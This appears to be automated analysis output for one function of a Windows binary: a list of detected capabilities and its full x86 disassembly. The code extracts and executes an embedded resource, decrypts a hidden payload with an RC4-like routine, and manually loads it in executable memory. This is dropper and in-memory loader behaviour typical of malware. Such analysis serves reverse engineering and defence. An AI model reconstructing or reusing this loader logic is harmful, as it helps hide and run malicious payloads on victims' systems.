Function at 0x401510
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Delete file
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get common file path
Get file size
Query environment variable
Read file on windows
Resolve function by parsing pe exports
Set environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x6fc
mov eax, dword [0x4140a0]
xor eax, esp
mov dword [esp + 0x6f8], eax
mov eax, dword [0x414f04]
push ebx
push esi
push edi
mov ecx, 0x414f04
call dword [eax + 0xc]
add eax, 0x10
push 0x4123f4
lea ecx, [esp + 0x38]
mov dword [esp + 0x38], eax
call fcn.004020e0
test eax, eax
je 0x401c78
mov esi, dword [esp + 0x34]
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401560
sub ecx, edx
sar ecx, 1
je 0x401c78
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xa
push 1
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x4016c4
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 0xc], eax
test eax, eax
je 0x4016c4
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4016c4
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x4016c4
mov edi, ebx
lea ecx, [edi + 2]
mov edi, edi
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x4015d0
sub edi, ecx
mov ecx, ebx
sar edi, 1
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4015e4
sub ecx, edx
sar ecx, 1
push 0x206
lea eax, [ecx + ecx]
mov ecx, 0xfffffffe
sub ecx, eax
add dword [esp + 0x10], ecx
xor eax, eax
push eax
mov word [esp + reloc.crypt32.dll_CertOpenStore], ax
lea eax, [esp + 0x2fa]
push eax
call fcn.004059d0
add esp, 0xc
lea eax, [esp + 0x2f0]
push esi
push 0x104
push eax
call fcn.00403479
add esp, 0xc
test eax, eax
jne 0x4016c4
push ebx
lea eax, [esp + 0x2f4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRenameExtensionW]
test eax, eax
je 0x4016c4
push 0
push 0
push 4
push 0
push 0
push 0x40000000
lea eax, [esp + 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x4016c4
cmp esi, 0xffffffff
je 0x4016c4
push 0
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
lea eax, [ebx + 2]
mov dword [esp + 0x1c], 0
lea eax, [eax + edi*2]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc]
cmp eax, dword [esp + 0x10]
jne 0x4016c4
push 3
push 0
push 0
lea eax, [esp + 0x2fc]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call fcn.00403508
add esp, 4
push eax
call fcn.004034f8
add esp, 4
call fcn.004034d5
mov esi, eax
mov edi, 0x4c4b40
call fcn.004034d5
imul esi, eax
dec edi
jne 0x4016e3
push esi
push 0x412408
call fcn.0040356c
mov eax, dword [0x414f04]
add esp, 8
mov ecx, 0x414f04
call dword [eax + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push edi
lea esi, [eax + 0x10]
push edi
push 0x4123e0
mov dword [esp + 0x38], esi
mov dword [esp + 0x1c], esi
call ebx
mov edi, eax
test edi, edi
jne 0x401777
mov edi, dword [esi - 0x10]
cmp dword [esi - 0xc], eax
lea edx, [esi - 0x10]
je 0x4018fe
cmp dword [edx + 0xc], eax
lea ecx, [edx + 0xc]
jge 0x401754
cmp dword [esi - 8], eax
jl 0x4020bc
mov dword [esi - 0xc], eax
mov word [esi], ax
jmp 0x4018fe
or eax, 0xffffffff
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x401768
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.crypt32.dll_CryptMsgGetParam]
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0xc]
lea esi, [eax + 0x10]
jmp 0x4018fe
js 0x4020c6
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edi
or ecx, eax
jge 0x4017a0
push edi
lea ecx, [esp + 0x14]
call fcn.00402530
mov esi, dword [esp + 0x10]
mov dword [esp + 0x2c], esi
push edi
push esi
push 0x4123e0
call ebx
push dword [esi - 8]
push esi
call fcn.004036ac
add esp, 8
test eax, eax
js 0x4020bc
cmp eax, dword [esi - 8]
jg 0x4020bc
xor ecx, ecx
mov dword [esi - 0xc], eax
mov word [esi + eax*2], cx
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4017d4
sub ecx, edx
sar ecx, 1
cmp ecx, 0x80
jne 0x4018fe
push ecx
lea eax, [esp + 0xa8]
push esi
lea ecx, [esp + 0xa8]
mov dword [esp + 0xa8], eax
call fcn.004021e0
mov eax, dword [0x414f04]
mov ebx, dword [esp + 0xa0]
mov ecx, 0x414f04
call dword [eax + 0xc]
lea edi, [eax + 0x10]
mov dword [esp + 0x24], edi
mov dword [esp + 0xc], edi
test ebx, ebx
je 0x401861
test ebx, 0xffff0000
jne 0x401851
movzx ebx, bx
mov ecx, ebx
call fcn.00402a00
test eax, eax
je 0x401876
push ebx
push eax
lea ecx, [esp + 0x14]
call fcn.00402470
jmp 0x40186e
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401856
sub ecx, edx
jmp 0x401863
xor ecx, ecx
push ecx
push ebx
lea ecx, [esp + 0x14]
call fcn.00402660
mov edi, dword [esp + 0xc]
mov dword [esp + 0x24], edi
mov eax, dword [esp + 0xa0]
lea ecx, [esp + 0xa4]
cmp eax, ecx
je 0x401891
push eax
call fcn.004035cd
add esp, 4
push StrStrNIW
lea eax, [esp + 0x2b5]
push 0
push eax
mov byte [esp + 0x2bc], 0
call fcn.004059d0
mov edx, edi
add esp, 0xc
mov dword [esp + 0x14], reloc.shlwapi.dll_StrStrNIW
lea ecx, [edx + 1]
lea ebx, [ebx]
mov al, byte [edx]
inc edx
test al, al
jne 0x4018c0
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x2b4]
sub edx, ecx
push eax
mov ecx, edi
call fcn.00402bd0
add esp, 8
test eax, eax
jne 0x401921
add edi, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4018fe
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + reloc.crypt32.dll_CryptMsgGetParam]
add esi, 0xfffffff0
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x402085
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + reloc.crypt32.dll_CryptMsgGetParam]
jmp 0x402085
push 0xff
lea eax, [esp + 0xa5]
push 0
push eax
mov byte [esp + 0xac], 0
call fcn.004059d0
add esp, 0xc
xor eax, eax
mov word [esp + reloc.crypt32.dll_CertOpenStore], ax
lea ebx, [ebx]
mov byte [esp + eax + 0xa0], al
inc eax
cmp eax, 0x100
jl 0x401950
xor ebx, ebx
mov word [esp + reloc.crypt32.dll_CertOpenStore], 0
xor dh, dh
lea ecx, [ecx]
mov dl, byte [esp + ebx + 0xa0]
mov eax, ebx
and eax, 0x8000003f
jns 0x401985
dec eax
or eax, 0xffffffc0
inc eax
movzx eax, byte [esp + eax + 0x2b0]
add al, dl
add dh, al
movzx eax, dh
lea ecx, [esp + 0xa0]
add ecx, eax
inc ebx
movzx eax, byte [ecx]
mov byte [esp + ebx + 0x9f], al
mov byte [ecx], dl
cmp ebx, 0x100
jl 0x401970
push ecx
push str.G:4
mov edx, str.G:4
lea ecx, [esp + 0xa8]
call fcn.00401470
add esp, 8
push reloc.shlwapi.dll_StrStrNIW
push 0x3000
push sym.imp.crypt32.dll_CertDeleteCRLFromStore
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [esp + 0xc], ebx
test ebx, ebx
je 0x4018e4
xor ecx, ecx
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
add al, cl
xor byte [ecx + str.G:4], al
inc ecx
cmp ecx, 0x6d1dc
jb 0x4019f0
lea eax, [ebx + sym.imp.crypt32.dll_CertDeleteCRLFromStore]
push eax
push 0x48213c
push str.G:4
lea edx, [esp + 0x24]
mov ecx, ebx
call section..text
add esp, 0xc
test eax, eax
jne 0x4018e4
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x28], 1
mov edx, dword [ecx + 0x3c]
add edx, ecx
mov dword [esp + 0x10], edx
mov ebx, dword [edx + 0x80]
lea eax, [edx + 0xf8]
mov dword [esp + 0x38], eax
mov eax, 0xcccccccd
mul dword [edx + 0x84]
mov eax, edx
shr eax, 4
add ebx, 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 0
test eax, eax
jle 0x401b44
lea edx, [ebx + ecx]
mov dword [esp + 0x30], edx
mov edi, edi
mov eax, dword [edx]
test eax, eax
je 0x401b39
cmp dword [esp + 0x28], 0
je 0x4018e4
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x20], eax
test eax, eax
je 0x401b0f
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0xc]
mov ebx, dword [ecx + 4]
mov ecx, dword [ecx - 0xc]
add ebx, edx
add ecx, edx
cmp dword [ebx], 0
mov dword [esp + 0x1c], ecx
je 0x401b17
mov eax, dword [ebx]
test eax, eax
jns 0x401ade
and eax, 0x7fffffff
jmp 0x401ae3
add eax, 2
add eax, edx
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebx], eax
test eax, eax
je 0x401b0f
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0xc]
mov dword [ecx], eax
add ebx, 4
add ecx, 4
cmp dword [ebx], 0
mov dword [esp + 0x1c], ecx
jne 0x401ad1
jmp 0x401b17
mov dword [esp + 0x28], 0
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0xc]
inc eax
add edx, 0x14
mov dword [esp + 0x14], eax
mov dword [esp + 0x30], edx
cmp eax, dword [esp + 0x18]
jl 0x401a90
cmp dword [esp + 0x28], 0
je 0x4018e4
mov eax, dword [esp + 0x10]
xor edx, edx
movzx ebx, word [eax + 6]
test ebx, ebx
jle 0x4018e4
xor eax, eax
jmp 0x401b60
mov esi, dword [esp + 0x38]
lea eax, [eax + eax*4]
cmp dword [esi + eax*8], 0x6c65722e
mov esi, dword [esp + 0x2c]
jne 0x401b86
mov edi, dword [esp + 0x38]
cmp dword [edi + eax*8 + 4], 0x636f
mov edi, dword [esp + 0x24]
je 0x401b93
inc edx
movzx eax, dx
cmp eax, ebx
jl 0x401b60
jmp 0x4018e4
movzx eax, dx
mov edx, dword [esp + 0x38]
lea eax, [eax + eax*4]
mov ebx, dword [edx + eax*8 + 0xc]
add ebx, ecx
je 0x4018e4
cmp dword [ebx], 0
je 0x401c27
mov edi, dword [esp + 0xc]
mov dword [esp + 0x18], 0x3000
lea ebx, [ebx]
lea eax, [ebx + 4]
mov dword [esp + 0x1c], eax
mov eax, dword [eax]
sub eax, 8
shr eax, 1
xor edx, edx
mov dword [esp + 0x14], eax
test eax, eax
jle 0x401c10
mov esi, eax
lea ebx, [ebx]
movzx ecx, word [ebx + edx*2 + 8]
mov eax, ecx
and eax, 0xf000
cmp word [esp + 0x18], ax
jne 0x401c0b
mov esi, dword [esp + 0x10]
and ecx, 0xfff
add ecx, dword [ebx]
mov eax, edi
sub eax, dword [esi + 0x34]
mov esi, dword [esp + 0x14]
add dword [ecx + edi], eax
inc edx
cmp edx, esi
jl 0x401be0
mov eax, dword [esp + 0x1c]
add ebx, dword [eax]
cmp dword [ebx], 0
jne 0x401bc0
mov esi, dword [esp + 0x2c]
mov edi, dword [esp + 0x24]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [edx + 0x78]
test eax, eax
je 0x4018e4
cmp dword [edx + 0x7c], 0
je 0x4018e4
cmp dword [ecx + eax + 0x14], 0
jbe 0x4018e4
mov ebx, dword [ecx + eax + 0x1c]
mov eax, dword [edx + 0x28]
add ebx, ecx
test eax, eax
je 0x401c6d
push 0
push 1
push ecx
add eax, ecx
call eax
test eax, eax
je 0x4018e4
mov ecx, dword [esp + 0xc]
mov eax, dword [ebx]
add eax, ecx
call eax
jmp 0x4018e4
xor eax, eax
push 0x206
push eax
mov word [esp + reloc.crypt32.dll_CertOpenStore], ax
lea eax, [esp + 0x502]
push eax
call fcn.004059d0
add esp, 0xc
lea eax, [esp + 0x4f8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x4f8]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401cb7
sub ecx, edx
sar ecx, 1
je 0x402085
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea eax, [esp + 0x4f8]
push eax
push 0x4123f4
call ebx
test eax, eax
je 0x402085
push 0
call fcn.00403508
add esp, 4
push eax
call fcn.004034f8
add esp, 4
lea eax, [esp + 0x2b1]
push StrStrNIW
push 0
push eax
mov byte [esp + 0x2bc], 0
call fcn.004059d0
add esp, 0xc
xor esi, esi
lea ebx, [ebx]
call fcn.004034d5
mov byte [esp + esi + 0x2b0], al
inc esi
cmp esi, 0x40
jb 0x401d20
push 0x80
lea eax, [esp + 0xa5]
push 0
push eax
mov byte [esp + 0xac], 0
call fcn.004059d0
add esp, 0xc
lea edx, [esp + 0xa0]
lea esi, [esp + 0x2b0]
mov edi, reloc.shlwapi.dll_StrStrNIW
mov al, byte [esi]
movzx ecx, al
mov eax, ecx
shr eax, 4
and ecx, 0xf
movzx eax, byte [eax + 0x412420]
mov byte [edx], al
movzx eax, byte [ecx + 0x412420]
mov byte [edx + 1], al
lea esi, [esi + 1]
lea edx, [edx + 2]
dec edi
jne 0x401d64
lea eax, [esp + 0x1ac]
mov dword [esp + 0x1a8], eax
push ecx
lea eax, [esp + 0xa4]
push eax
lea ecx, [esp + 0x1b0]
call fcn.004022c0
push dword [esp + 0x1a8]
push 0x4123e0
call ebx
test eax, eax
mov eax, dword [esp + 0x1a8]
lea ecx, [esp + 0x1ac]
sete bl
cmp eax, ecx
je 0x401dde
push eax
call fcn.004035cd
add esp, 4
test bl, bl
jne 0x402085
xor eax, eax
push 0x206
push eax
mov word [esp + reloc.crypt32.dll_CertOpenStore], ax
lea eax, [esp + 0x2fa]
push eax
call fcn.004059d0
add esp, 0xc
lea eax, [esp + 0x2f0]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x2f0]
push eax
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [esp + 0x2f0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x402085
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x510]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x402085
cmp esi, 0xffffffff
je 0x402075
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
je 0x402075
push eax
lea ecx, [esp + 0x40]
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
call fcn.00402380
mov edi, dword [esp + 0x3c]
mov ebx, dword [esp + 0x40]
push 0
lea eax, [esp + 0x18]
push eax
sub ebx, edi
push ebx
push edi
push esi
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402068
cmp ebx, dword [esp + 0x14]
jne 0x402068
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [eax + 0x3c]
mov ebx, str.G:4
lea esi, [eax + 0xf8]
sub ebx, eax
movzx eax, word [ecx + eax + 6]
add esi, ecx
xor edx, edx
mov dword [esp + 0x20], esi
mov dword [esp + 0x18], eax
test eax, eax
jle 0x402059
lea ecx, [esi + 0xc]
mov esi, dword [ecx]
cmp esi, ebx
ja 0x401f2b
mov eax, dword [ecx + 4]
add eax, esi
cmp ebx, eax
jb 0x401f38
mov eax, dword [esp + 0x18]
inc edx
add ecx, 0x28
cmp edx, eax
jl 0x401f18
jmp 0x402059
mov ecx, dword [esp + 0x20]
lea eax, [edx + edx*4]
lea eax, [ecx + eax*8]
test eax, eax
je 0x402059
mov esi, dword [eax + 0x14]
sub esi, dword [eax + 0xc]
push 0xff
lea eax, [esp + 0x1ad]
push 0
push eax
add esi, ebx
mov byte [esp + 0x1b4], 0
call fcn.004059d0
xor eax, eax
add esp, 8
lea edx, [esp + 0x2b4]
lea ecx, [esp + 0x1ac]
mov word [esp + reloc.crypt32.dll_CertOpenStore], ax
call fcn.00401400
lea edx, [edi + esi]
push edx
lea ecx, [esp + 0x1b0]
call fcn.00401470
add esp, 8
lea eax, [esp + 0x2f0]
push 0
push 0
push 4
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x402068
cmp esi, 0xffffffff
je 0x402068
mov ebx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x20]
push eax
push ebx
push edi
push esi
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402068
cmp ebx, dword [esp + 0x1c]
jne 0x402068
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push reloc.shlwapi.dll_StrStrNIW
lea eax, [esp + 0x60]
push 0
push eax
call fcn.004059d0
add esp, 0xc
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x5c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x314]
xorps xmm0, xmm0
push eax
mov dword [esp + 0x80], 0x44
mov dword [esp + 0x70], 0
movq qword [esp + 0x74], xmm0
mov dword [esp + 0x7c], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test edi, edi
je 0x402085
push edi
call fcn.00403474
add esp, 4
jmp 0x402085
test edi, edi
je 0x402075
push edi
call fcn.00403474
add esp, 4
test esi, esi
je 0x402085
cmp esi, 0xffffffff
je 0x402085
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x34]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4020a3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + reloc.crypt32.dll_CryptMsgGetParam]
mov ecx, dword [esp + 0x704]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00402e19
mov esp, ebp
pop ebp
ret 0x10
push 0x80070057
call fcn.00402bb0
push 0x80070057
call fcn.00402bb0
int3